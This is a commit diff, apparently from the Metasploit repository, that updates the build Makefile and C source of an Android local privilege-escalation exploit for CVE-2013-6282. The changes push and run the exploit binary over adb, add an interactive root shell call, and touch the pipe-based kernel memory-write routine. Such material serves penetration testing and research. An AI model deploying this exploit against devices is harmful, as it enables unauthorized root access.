File tree Expand file tree Collapse file tree 2 files changed +6
-4
lines changed
external/source/exploits/CVE-2013-6282 Expand file tree Collapse file tree 2 files changed +6
-4
lines changed Original file line number Diff line number Diff line change 2
2
all : install
3
3
4
4
build :
5
- ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk
5
+ ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16
6
6
7
7
install : build
8
8
mv libs/armeabi/libexploit.so ../../../../data/exploits/CVE-2013-6282.so
@@ -11,7 +11,8 @@ push: build
11
11
adb push libs/armeabi/debugexploit /data/local/tmp/exploit
12
12
13
13
run : push
14
- adb shell ' cd /data/local/tmp/exploit'
14
+ adb shell ' chmod 777 /data/local/tmp/exploit'
15
+ adb shell ' /data/local/tmp/exploit'
15
16
16
17
clean :
17
18
rm -rf libs
Original file line number Diff line number Diff line change @@ -604,7 +604,7 @@ int pipe_write_value_at_address(unsigned long address, void* value)
604
604
buf [0 ] = 0 ;
605
605
if (data [i ]) {
606
606
if (write (pipefd [1 ], buf , data [i ]) != data [i ]) {
607
- printf ("error in write().\n" );
607
+ LOGV ("error in write().\n" );
608
608
break ;
609
609
}
610
610
}
@@ -616,7 +616,7 @@ int pipe_write_value_at_address(unsigned long address, void* value)
616
616
617
617
if (data [i ]) {
618
618
if (read (pipefd [0 ], buf , sizeof buf ) != data [i ]) {
619
- printf ("error in read().\n" );
619
+ LOGV ("error in read().\n" );
620
620
break ;
621
621
}
622
622
}
@@ -665,6 +665,7 @@ void init_exploit() {
665
665
666
666
if (shellcode_buf [0 ] == 0x90 ) {
667
667
LOGV ("No shellcode, uid=%d\n" , uid );
668
+ system ("/system/bin/sh -i" );
668
669
return ;
669
670
}
670
671
LOGV ("running shellcode, uid=%d\n" , uid );
You can’t perform that action at this time.
0 commit comments